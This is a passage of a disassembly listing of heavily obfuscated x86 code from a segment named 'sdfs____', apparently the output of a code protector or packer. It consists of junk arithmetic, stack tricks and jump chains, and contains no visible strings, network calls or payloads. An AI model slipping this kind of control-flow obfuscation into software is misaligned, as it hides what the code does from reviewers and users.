ebp, 444B2B69h push [esp+4+var_4] jmp loc_5AEE86 ; END OF FUNCTION CHUNK FOR sub_5A8215 ; --------------------------------------------------------------------------- loc_5A34A7: ; CODE XREF: sdfs____:005AA092j mov ebp, 72B02332h and ebp, 6E141563h jmp loc_59F2AD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A86D0 loc_5A34B7: ; CODE XREF: sub_5A86D0-AEB2j push edx jmp loc_5A5911 ; END OF FUNCTION CHUNK FOR sub_5A86D0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5A34BD: ; CODE XREF: sub_59C979+251Aj sub ecx, 3E4638F3h push [esp-6+arg_2] pop edi push ebx mov ebx, esp add ebx, 4 jmp loc_5A1448 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A79BE loc_5A34D5: ; CODE XREF: sub_5A79BE+1242j or ebx, 12CF36AAh push 72ECh mov [esp+4+var_4], ecx push esi mov esi, 7F1A2374h jmp loc_5AB536 ; END OF FUNCTION CHUNK FOR sub_5A79BE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A34EE: ; CODE XREF: sub_5992DA+159C1j mov ebx, [esp+26h+var_26] add esp, 4 pop ecx not ecx xchg ecx, ebx xor edx, ebx xor ebx, edx xor edx, ebx xor edx, 46670BC3h jle loc_5AF75A dec edx jnz loc_5ACCBF jns loc_5993C7 push edi loc_5A351C: ; CODE XREF: sub_59A7E7+3ACDj push dword ptr [edi+eax*4] push [esp+26h+var_26] pop eax push ebx mov ebx, esp push 4926h jmp loc_5A66BF ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59B4A0 loc_5A3530: ; CODE XREF: sub_59B4A0+F5A0j push edi mov edi, 0 sub edi, esi mov esi, edi jmp loc_59B081 ; END OF FUNCTION CHUNK FOR sub_59B4A0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A353F: ; CODE XREF: sub_5AA2D1-9D11j xor ebx, 3AE29D4Ah jmp loc_5AC47E ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59E333 loc_5A354A: ; CODE XREF: sub_59E333+7DF8j pop ecx pop ebp sub eax, esi push [esp-8+arg_4] pop esi add esp, 4 jmp loc_5AD13B ; END OF FUNCTION CHUNK FOR sub_59E333 ; =============== S U B R O U T I N E ======================================= sub_5A355D proc near ; DATA XREF: sdfs____:00598F64o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005A5E61 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A8B96 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005AE23C SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005AEA40 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005AFDAD SIZE 00000007 BYTES mov cx, [esp+0] push 4F6Bh jmp loc_5A8B96 sub_5A355D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF5FF loc_5A356B: ; CODE XREF: sub_5AF5FF-1A97j xchg ebx, [esp+0] pop esp imul ecx push 6AADh mov [esp+0], edx push eax pushf jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5AF5FF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B0377 loc_5A3580: ; CODE XREF: sub_5B0377-154B4j sub edi, 28F17EBDh add edi, 452375EAh add edi, edx sub edi, 452375EAh jmp loc_5A1AD4 ; END OF FUNCTION CHUNK FOR sub_5B0377 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A3599: ; CODE XREF: sub_5AA2D1-BED5j add dl, 43h jmp loc_5A04D0 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A35F6 loc_5A35A1: ; CODE XREF: sub_5A35F6+26j mov [esp+4+var_4], eax jmp loc_5AAEE8 ; END OF FUNCTION CHUNK FOR sub_5A35F6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AC18D loc_5A35A9: ; CODE XREF: sub_5AC18D-83B8j jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5AC18D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3BFE loc_5A35AE: ; CODE XREF: sub_5A3BFE+2916j pop edi jmp loc_59E277 ; END OF FUNCTION CHUNK FOR sub_5A3BFE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F1F3 loc_5A35B4: ; CODE XREF: sub_59F1F3+A66Ej add ebx, 4 jmp loc_5A76B1 ; END OF FUNCTION CHUNK FOR sub_59F1F3 ; --------------------------------------------------------------------------- loc_5A35BF: ; CODE XREF: sdfs____:005A718Cj add edx, 4 jmp loc_5A513B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AE9FA loc_5A35CA: ; CODE XREF: sub_5AE9FA+1Ej mov esi, edx pop edx sub edi, 0D03487h add edi, 0A056699h add edi, esi jmp loc_5AFECA ; END OF FUNCTION CHUNK FOR sub_5AE9FA ; --------------------------------------------------------------------------- loc_5A35E0: ; CODE XREF: sdfs____:005AC798j add edi, ebx add edi, 1CCE7C6Ch sub edi, 7B220964h push dword ptr [esp] jmp loc_59FA0E ; =============== S U B R O U T I N E ======================================= sub_5A35F6 proc near ; CODE XREF: sub_59E94B+110F6j var_4 = dword ptr -4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0059C004 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A2F31 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005A35A1 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A90CF SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005AAD00 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 005AAEE8 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005AC497 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005AE97E SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005AFB11 SIZE 0000000B BYTES push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp+4+var_4] pop esp mov [esp+0], ecx push 558D3763h mov ecx, [esp+4+var_4] add esp, 4 push 1DAAh jmp loc_5A35A1 sub_5A35F6 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9EC5 loc_5A3621: ; CODE XREF: sub_5A9EC5+12j push eax mov ah, 0Fh shl ah, 1 push bx mov bh, 24h add ah, bh pop bx xor ah, 0BDh sub bl, 5Fh sub bl, ah jmp loc_5ABE78 ; END OF FUNCTION CHUNK FOR sub_5A9EC5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A81C4 loc_5A363B: ; CODE XREF: sub_5A81C4-31C7j push edx push esp pop edx add edx, 4 jmp loc_5AF358 ; END OF FUNCTION CHUNK FOR sub_5A81C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A7746 loc_5A3649: ; CODE XREF: sub_5A7746-9F09j or edx, eax jmp loc_5A75D0 ; END OF FUNCTION CHUNK FOR sub_5A7746 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F1F3 loc_5A3650: ; CODE XREF: sub_59F1F3+895Fj sub edi, ecx mov ecx, [esp-4+arg_0] jmp loc_5AE1BC ; END OF FUNCTION CHUNK FOR sub_59F1F3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B03B3 loc_5A365A: ; CODE XREF: sub_5B03B3-8541j push edx mov edx, 55873D93h not edx push ecx mov ecx, 1 push ebx jmp loc_5AD5B5 ; END OF FUNCTION CHUNK FOR sub_5B03B3 ; --------------------------------------------------------------------------- loc_5A366E: ; CODE XREF: sdfs____:005AC4C5j mov edi, 597E418Ah push ecx mov ecx, 72914E9Eh push edi mov edi, 0 sub edi, ecx jmp loc_5A8D65 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599A61 loc_5A3686: ; CODE XREF: sub_599A61+C221j and esi, 1AB823CCh sub esi, 0B35DC783h xor eax, esi jmp loc_5A31F5 ; END OF FUNCTION CHUNK FOR sub_599A61 ; =============== S U B R O U T I N E ======================================= sub_5A3699 proc near ; CODE XREF: sub_5A5B27+AA7j ; FUNCTION CHUNK AT 0059AD02 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0059B63E SIZE 00000014 BYTES push ebx mov ebx, 2F8706ACh jmp loc_59AD02 sub_5A3699 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0FFF loc_5A36A4: ; CODE XREF: sub_5A0FFF-565Dj add esi, 5E7A41F5h sub edx, esi pop esi shr edx, 4 push edi mov edi, 0C1C7A13h xor edx, edi jmp loc_5A3F87 ; END OF FUNCTION CHUNK FOR sub_5A0FFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A1F28 loc_5A36BD: ; CODE XREF: sub_5A1F28+16j mov ebx, 4 sub ebp, ebx jmp loc_5A3DA1 ; END OF FUNCTION CHUNK FOR sub_5A1F28 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A6BBC loc_5A36C9: ; CODE XREF: sub_5A6BBC+6F3Dj add ebp, edx mov edx, [esp+0] add esp, 4 push ebx mov ebx, 4 add ebp, ebx mov ebx, [esp+0] add esp, 4 xchg ebp, [esp-4+arg_0] mov esp, [esp-4+arg_0] push esi mov esi, 298D060Ah sub eax, esi pop esi push 12B7h mov [esp+0], ebx jmp sub_5A039A ; END OF FUNCTION CHUNK FOR sub_5A6BBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A503A loc_5A36FE: ; CODE XREF: sub_5A503A-413Ej pop esi jmp loc_5A214A ; END OF FUNCTION CHUNK FOR sub_5A503A ; --------------------------------------------------------------------------- loc_5A3704: ; CODE XREF: sdfs____:0059C3DAj mov [esp], cx sub esp, 4 mov [esp], eax push ebx mov bl, 46h mov al, bl pop ebx jmp loc_5ACCAD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A6EE8 loc_5A371C: ; CODE XREF: sub_5A6EE8+18j xchg ebx, [esp+0] pop esp or edx, eax shl edx, 1 push eax mov eax, 24h sub eax, 6B5E77EBh add eax, edi add eax, 6B5E77EBh push ebx jmp sub_5A3B60 ; END OF FUNCTION CHUNK FOR sub_5A6EE8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A18F6 loc_5A373C: ; CODE XREF: sub_5A18F6+2603j add ebp, 0E174FFFh jbe loc_5AB0EC jmp sub_5A8931 ; END OF FUNCTION CHUNK FOR sub_5A18F6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5A374D: ; CODE XREF: sub_59C979+DA30j mov ebx, 1E2A6B7Ch push 374Ch mov dword ptr [esp+2+var_2], eax mov eax, 62B62CDAh push ebp mov ebp, 3CFB3712h and eax, ebp pop ebp push ebp mov ebp, 69E3614Ch sub eax, 115E1C41h sub eax, ebp push ecx mov ecx, 115E1C41h jmp loc_59D376 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2F58 loc_5A3780: ; CODE XREF: sub_5A2F58-691Fj xor ch, dl mov dx, [esp+6+var_6] add esp, 2 inc ch jz loc_5A97A2 jmp loc_5A3B9E ; END OF FUNCTION CHUNK FOR sub_5A2F58 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5A3799: ; CODE XREF: sub_59C979+A69Dj push [esp+0Ah+var_A] pop esi sub esp, 4 mov [esp+0Eh+var_10+2], ecx push esp pop ecx sub esp, 4 mov [esp+0], eax mov eax, 2934468Eh push edi mov edi, 6E684850h or eax, edi pop edi jmp loc_5AA7F6 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A600D loc_5A37C4: ; CODE XREF: sub_5A600D+2F0Ej jmp loc_5A9AD3 ; END OF FUNCTION CHUNK FOR sub_5A600D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A37C9: ; CODE XREF: sub_5AA2D1-782Aj jmp loc_5A7DB3 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A37CE: ; CODE XREF: sub_5992DA+BDB9j push [esp+2Eh+var_2E] mov eax, [esp+32h+var_32] sub esp, 4 jmp loc_59A1E2 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59FC02 loc_5A37DF: ; CODE XREF: sub_59FC02+54DEj sub edi, 0BBF8EF53h jmp loc_59C70F ; END OF FUNCTION CHUNK FOR sub_59FC02 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A68A5 loc_5A37EA: ; CODE XREF: sub_5A68A5+3j add ebp, 4 push ecx mov ecx, 4 sub ebp, 553D1217h add ebp, ecx add ebp, 553D1217h pop ecx xchg ebp, [esp+0] pop esp push esi push 74A6h mov [esp+4+var_4], edi mov edi, 1536381Eh mov esi, edi mov edi, [esp+4+var_4] add esp, 4 push edx mov edx, 3A8F2078h xor esi, edx pop edx push 72F3h jmp loc_5AAE87 ; END OF FUNCTION CHUNK FOR sub_5A68A5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A3832: ; CODE XREF: sub_5AA2D1+47ECj push 2513447Ah pop esi dec esi jmp loc_5A280A ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E28 loc_5A383E: ; CODE XREF: sub_5A2E28-1AFFj sub ecx, 78742A58h xor [ecx], edx mov ecx, [esp-10h+arg_C] add esp, 4 ; END OF FUNCTION CHUNK FOR sub_5A2E28 ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A384C: ; CODE XREF: sub_5AA2D1+3D9Ej push 6CA3h jmp loc_59F7D2 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5A3856: ; CODE XREF: sub_59C979+1C9Ej push eax push edx mov dh, 0D0h sub dh, 45h push ebx jmp loc_5AEAD9 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ADD33 loc_5A3863: ; CODE XREF: sub_5ADD33-E522j xor [esp+0Ch+var_C], eax xor eax, [esp+0Ch+var_C] mov esp, [esp+0Ch+var_C] mov [esp+4+var_4], edx jmp loc_5AD373 ; END OF FUNCTION CHUNK FOR sub_5ADD33 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A7E7 loc_5A3874: ; CODE XREF: sub_59A7E7+1218Cj inc ah and ah, 0C6h not ah add ah, 2Fh push cx mov ch, 88h jmp loc_59F5E3 ; END OF FUNCTION CHUNK FOR sub_59A7E7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59DE4B loc_5A3887: ; CODE XREF: sub_59DE4B+9j mov edi, 3A445539h not edi neg edi neg edi add edi, 3A44553Eh add ebp, edi pop edi sub esp, 4 jmp loc_59D354 ; END OF FUNCTION CHUNK FOR sub_59DE4B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ADBA5 loc_5A38A6: ; CODE XREF: sub_5ADBA5-13928j mov esp, [esp+0] jmp loc_5AB41B ; END OF FUNCTION CHUNK FOR sub_5ADBA5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A16B8 loc_5A38AE: ; CODE XREF: sub_5A16B8+8C6Cj mov edi, 15543848h sub ebx, edi pop edi jmp loc_5A7B16 ; END OF FUNCTION CHUNK FOR sub_5A16B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5A38BB: ; CODE XREF: sub_59D6B8+1214Cj jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59FC02 loc_5A38C0: ; CODE XREF: sub_59FC02+2Cj sub ecx, 0F538BB1Fh push ecx jmp loc_5A4E47 ; END OF FUNCTION CHUNK FOR sub_59FC02 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A26C loc_5A38CC: ; CODE XREF: sub_59A26C+BFC4j pop ebx sub eax, 5F5B53A5h add eax, esi push ebp push edi mov edi, 32C826EAh push edi jmp loc_59F983 ; END OF FUNCTION CHUNK FOR sub_59A26C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A38E1: ; CODE XREF: sub_5AA2D1-E452j pop eax add bl, 8 push ax jmp loc_5A3A81 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A4D9D loc_5A38EC: ; CODE XREF: sub_5A4D9D-34F4j shl eax, 1 jz loc_5A08B6 xor eax, 7CC0FABEh add ebx, eax push [esp+8+var_8] mov eax, [esp+0Ch+var_C] jmp loc_5A0615 ; END OF FUNCTION CHUNK FOR sub_5A4D9D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59AE39 loc_5A3906: ; CODE XREF: sub_59AE39+10j push edi mov edi, 3F647Ch sub eax, edi pop edi add eax, 123C6B60h add eax, 371F19FDh jmp loc_5A1F62 ; END OF FUNCTION CHUNK FOR sub_59AE39 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0AA2 loc_5A391E: ; CODE XREF: sub_5A0AA2-6F25j mov esp, [esp+0] mov cx, [esp+0] sub esp, 4 mov [esp+4+var_4], edx push 5575h push 1D12h mov [esp+0Ch+var_C], esp add [esp+0Ch+var_C], 4 pop [esp+0Ch+var_C] jmp loc_5AA348 ; END OF FUNCTION CHUNK FOR sub_5A0AA2 ; =============== S U B R O U T I N E ======================================= sub_5A3947 proc near ; CODE XREF: sdfs____:0059C84Cj ; sub_5AA2D1-8276j var_8 = dword ptr -8 ; FUNCTION CHUNK AT 0059D51F SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005A40CB SIZE 0000003E BYTES ; FUNCTION CHUNK AT 005AB724 SIZE 00000006 BYTES push ebx mov ebx, 753A5BACh xchg esi, ebx dec esi push ebx push esi pop ebx mov esi, [esp+8+var_8] jmp loc_5A40CB sub_5A3947 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A395B: ; CODE XREF: sub_5A5AF2+2626j ; sub_5992DA+16295j mov ah, 0B8h dec ah neg ah jmp loc_5AB27B ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A580F loc_5A3966: ; CODE XREF: sub_5A580F+641Bj add eax, 4 add eax, 4 jmp loc_59DEA8 ; END OF FUNCTION CHUNK FOR sub_5A580F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ADD33 loc_5A3975: ; CODE XREF: sub_5ADD33-116E2j add esi, 7DAC73D6h pop ecx add edx, esi pop esi mov ebx, [esp+8+var_8] add esp, 4 jmp loc_5AC61B ; END OF FUNCTION CHUNK FOR sub_5ADD33 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A398A: ; CODE XREF: sub_5AA2D1-FD9Bj pop esi push ebx push edx jmp loc_5A9B77 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; =============== S U B R O U T I N E ======================================= sub_5A3992 proc near ; CODE XREF: sub_5A041B+E5D4j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0059B604 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0059D5B7 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059DA36 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0059DF1E SIZE 0000005F BYTES ; FUNCTION CHUNK AT 0059EE9E SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0059F19A SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0059F23A SIZE 00000019 BYTES ; FUNCTION CHUNK AT 005A1375 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 005A2945 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005A4297 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 005A45D5 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005A6E8B SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005A9271 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 005AA6B0 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005AAB85 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005AAC88 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005AB5F4 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005AE859 SIZE 0000000A BYTES push ebx mov ebx, 4 add eax, ebx pop ebx jmp loc_5AE859 sub_5A3992 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599A61 loc_5A39A0: ; CODE XREF: sub_599A61+CD12j xor edx, 0FF60F386h neg edx dec edx xor edx, 733D4D10h not edx shl edx, 4 add edx, 0A59F2A24h sub ebp, edx jmp loc_59934D ; END OF FUNCTION CHUNK FOR sub_599A61 ; --------------------------------------------------------------------------- loc_5A39C1: ; CODE XREF: sdfs____:005AF912j mov ebp, esp push eax mov eax, 4 sub ebp, 3A100D08h add ebp, eax add ebp, 3A100D08h pop eax sub ebp, 4 xchg ebp, [esp] mov esp, [esp] mov [esp], eax mov al, 0CDh add dh, al jmp loc_5AC79D ; --------------------------------------------------------------------------- loc_5A39F0: ; CODE XREF: sdfs____:005A457Aj sub eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] jmp loc_5AFE31 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AB3DB loc_5A3A04: ; CODE XREF: sub_5AB3DB-C6C0j add esp, 4 xor edx, eax jmp loc_5A5090 ; END OF FUNCTION CHUNK FOR sub_5AB3DB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A3A11: ; CODE XREF: sub_5AA2D1-F2D6j xor ebp, ecx pop ecx sub eax, 1A00015Fh sub eax, ebp add eax, 1A00015Fh pop ebp jmp loc_5A03AA ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A75B3 loc_5A3A26: ; CODE XREF: sub_5A75B3-7BCCj dec ebp add ebp, 62381131h jmp loc_5AD6DA ; END OF FUNCTION CHUNK FOR sub_5A75B3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A3A32: ; CODE XREF: sub_5992DA+DDFj pop edx add edx, 4 jmp loc_59CB59 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5A3A3E: ; CODE XREF: sub_59D6B8-31F0j shl edi, 4 push edx jmp loc_5A22E5 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A3A47: ; CODE XREF: sub_5AA2D1-D54Ej add si, 6EBAh add si, 0BDE2h add ax, 64A9h add ax, si sub ax, 64A9h mov esi, [esp-8+arg_4] jmp loc_5A4E88 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59993B loc_5A3A64: ; CODE XREF: sub_59993B+44F0j sub [esp+8+var_4], eax jmp loc_5A525C ; END OF FUNCTION CHUNK FOR sub_59993B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A3A6D: ; CODE XREF: sub_5AA2D1+5BA6j push ecx mov ecx, 14842B90h and ecx, 14719E4h shl ecx, 5 jmp loc_5AEB05 ; --------------------------------------------------------------------------- loc_5A3A81: ; CODE XREF: sub_5AA2D1-69EAj mov ah, 51h sub bl, ah mov ax, word ptr [esp-0Ah+arg_4+2] jmp loc_59B463 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A8B3E loc_5A3A8E: ; CODE XREF: sub_5A8B3E+21A7j sub esi, 4 xchg esi, [esp+8+var_8] jmp loc_5B0124 ; END OF FUNCTION CHUNK FOR sub_5A8B3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A522E loc_5A3A9C: ; CODE XREF: sub_5A522E-5C04j neg edi not edi xor edi, 0DE2607BFh add edi, esi pop esi xor edi, 286C5E1Eh jmp loc_5A597F ; END OF FUNCTION CHUNK FOR sub_5A522E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F463 loc_5A3AB4: ; CODE XREF: sub_59F463+EE55j pop esp jmp loc_5AF8D7 ; END OF FUNCTION CHUNK FOR sub_59F463 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A3ABA: ; CODE XREF: sub_5AA2D1-FEC4j add edx, ecx add edx, 443E4E91h jmp loc_59A07C ; --------------------------------------------------------------------------- loc_5A3AC7: ; CODE XREF: sub_5AA2D1-B07Aj mov edi, [esp-20h+arg_1C] add esp, 4 push [esp-24h+arg_20] pop ecx jmp loc_5A753A ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5A3AD9: ; CODE XREF: sub_5A580F-9C17j ; sub_59D6B8+2EDj xor [esp-8+arg_4], ecx xor ecx, [esp-8+arg_4] jmp loc_5A6FD2 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; =============== S U B R O U T I N E ======================================= sub_5A3AE4 proc near ; DATA XREF: sdfs____:00598E84o var_2 = word ptr -2 movzx ax, byte ptr [edx] push small 37E7h mov [esp+2+var_2], ax jmp loc_59910F sub_5A3AE4 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A633D loc_5A3AF5: ; CODE XREF: sub_5A633D+C7Dj pop eax and eax, edx mov edx, [esp-8+arg_4] jmp loc_5999EF ; END OF FUNCTION CHUNK FOR sub_5A633D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B03B3 loc_5A3B00: ; CODE XREF: sub_5B03B3-4559j mov ebx, [esp+0Ch+var_C] jmp sub_5AF18F ; END OF FUNCTION CHUNK FOR sub_5B03B3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E41 loc_5A3B08: ; CODE XREF: sub_5A2E41-8ACEj shr edi, 3 jmp loc_5A204C ; END OF FUNCTION CHUNK FOR sub_5A2E41 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599D0E loc_5A3B10: ; CODE XREF: sub_599D0E+694Cj pop edx add bl, 8 add bl, cl push cx mov cl, 8 jmp loc_59C434 ; END OF FUNCTION CHUNK FOR sub_599D0E ; --------------------------------------------------------------------------- loc_5A3B1F: ; CODE XREF: sdfs____:0059EDE5j add esp, 4 jmp loc_5A7057 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A21A4 loc_5A3B2A: ; CODE XREF: sub_5A21A4+BD3Dj pop eax pop [esp-8+arg_4] mov esp, [esp-0Ch+arg_8] jmp sub_59C2A6 ; END OF FUNCTION CHUNK FOR sub_5A21A4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A4E04 loc_5A3B36: ; CODE XREF: sub_5A4E04+36j add esp, 4 jmp loc_5A2D19 ; END OF FUNCTION CHUNK FOR sub_5A4E04 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A3B3E: ; CODE XREF: sub_5AA2D1-9490j pop ecx push small 697Bh mov [esp+0], dx mov dl, 0CAh jmp loc_5A83CA ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- loc_5A3B4E: ; CODE XREF: sdfs____:005A8D67j pop edi sub ecx, 1 xor ecx, 0DB71A3EAh xor edi, ecx pop ecx jmp loc_59B879 ; =============== S U B R O U T I N E ======================================= sub_5A3B60 proc near ; CODE XREF: sub_5A6EE8-37B1j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0059929D SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0059B09E SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0059B411 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0059BFE7 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0059E0CA SIZE 00000033 BYTES ; FUNCTION CHUNK AT 005A18E2 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005A21EF SIZE 